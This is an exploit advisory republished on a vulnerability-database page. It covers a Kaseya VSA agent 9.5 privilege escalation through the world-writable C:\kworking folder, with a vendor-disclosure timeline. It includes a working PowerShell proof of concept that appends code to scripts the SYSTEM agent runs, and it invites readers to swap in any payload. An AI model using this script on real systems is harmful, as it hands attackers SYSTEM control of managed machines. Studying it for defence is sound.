Lucene search
K

Kaseya VSA agent 9.5 - Privilege Escalation Vulnerability

🗓️ 02 Sep 2019 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 42 Views

Kaseya VSA agent 9.5 Privilege Escalation Vulnerability, SYSTEM compromised through script injectio

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Kaseya Virtual System Administrator agent local elevation of privilege vulnerability
12 Apr 201800:00
cnvd
CVE
CVE-2017-12410
26 Mar 201821:00
cve
Cvelist
CVE-2017-12410
26 Mar 201821:00
cvelist
Exploit DB
Kaseya VSA agent 9.5 - Privilege Escalation
2 Sep 201900:00
exploitdb
EUVD
EUVD-2017-3983
7 Oct 202500:30
euvd
exploitpack
Kaseya VSA agent 9.5 - Privilege Escalation
2 Sep 201900:00
exploitpack
NCSC
Vulnerabilities fixed in Kaseya Virtual System Administrator (VSA)
12 Jul 202100:00
ncsc
NVD
CVE-2017-12410
26 Mar 201821:29
nvd
OpenVAS
Kaseya Virtual System Administrator Agent <= 9.4.0.36 Local Privilege Escalation Vulnerability
30 May 201800:00
openvas
OSV
CVE-2017-12410
26 Mar 201821:29
osv
Rows per page
# Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation
# Exploit Author: NF
# Vendor Homepage: https://www.kaseya.com/products/vsa/
# Software Link: https://www.kaseya.com/products/vsa/
# Version:  <= 9.5 agentmon.exe
# Tested on: Windows 10
# CVE : N/A


##Vulnerability##

This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian.
A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.
The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.

The Kaseya agent (agentmon.exe) runs as SYSTEM by default.
The agent also has a default working folder @ C:\kworking\
It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.
By default the *Authenticated Users* group has all rights to this folder.

Scripts are written to disk however they are not checked for integrity prior to execution.
So a folder can be monitored for script files being dropped and then append malicious code prior to execution.

##Proof of concept##

This PowerShell script will monitor the default working directory.
When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.
Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.

Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts

<--script start-->

      $folder = 'c:\kworking'
      $filter = '*.ps1'                          

      $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter =  [IO.NotifyFilters]'FileName, LastWrite'}

      Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {
          $path = $Event.SourceEventArgs.FullPath
          "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8
          Unregister-Event FileCreated
      }
 
<--script end-->

##Timeline##

16-06-2019 :: Issue found
18-06-2019 :: [email protected] emailed requesting steps to disclose  
30-06-2019 :: CERT contacted due to non response of vendor from official email address
31-06-2019 :: CERT still unable to contact vendor
07-07-2019 :: CERT makes contact with vendor. Discover [email protected] address is not monitored by vendor
20-08-2019 :: Vendor confirms receipt of details
27-08-2019 :: Email sent indicating intention to disclose due to lack of response
02-09-2019 :: No response through CERT. Findings published

#  0day.today [2021-10-25]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2019 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 26.9
CVSS 37.4
EPSS0.00042
42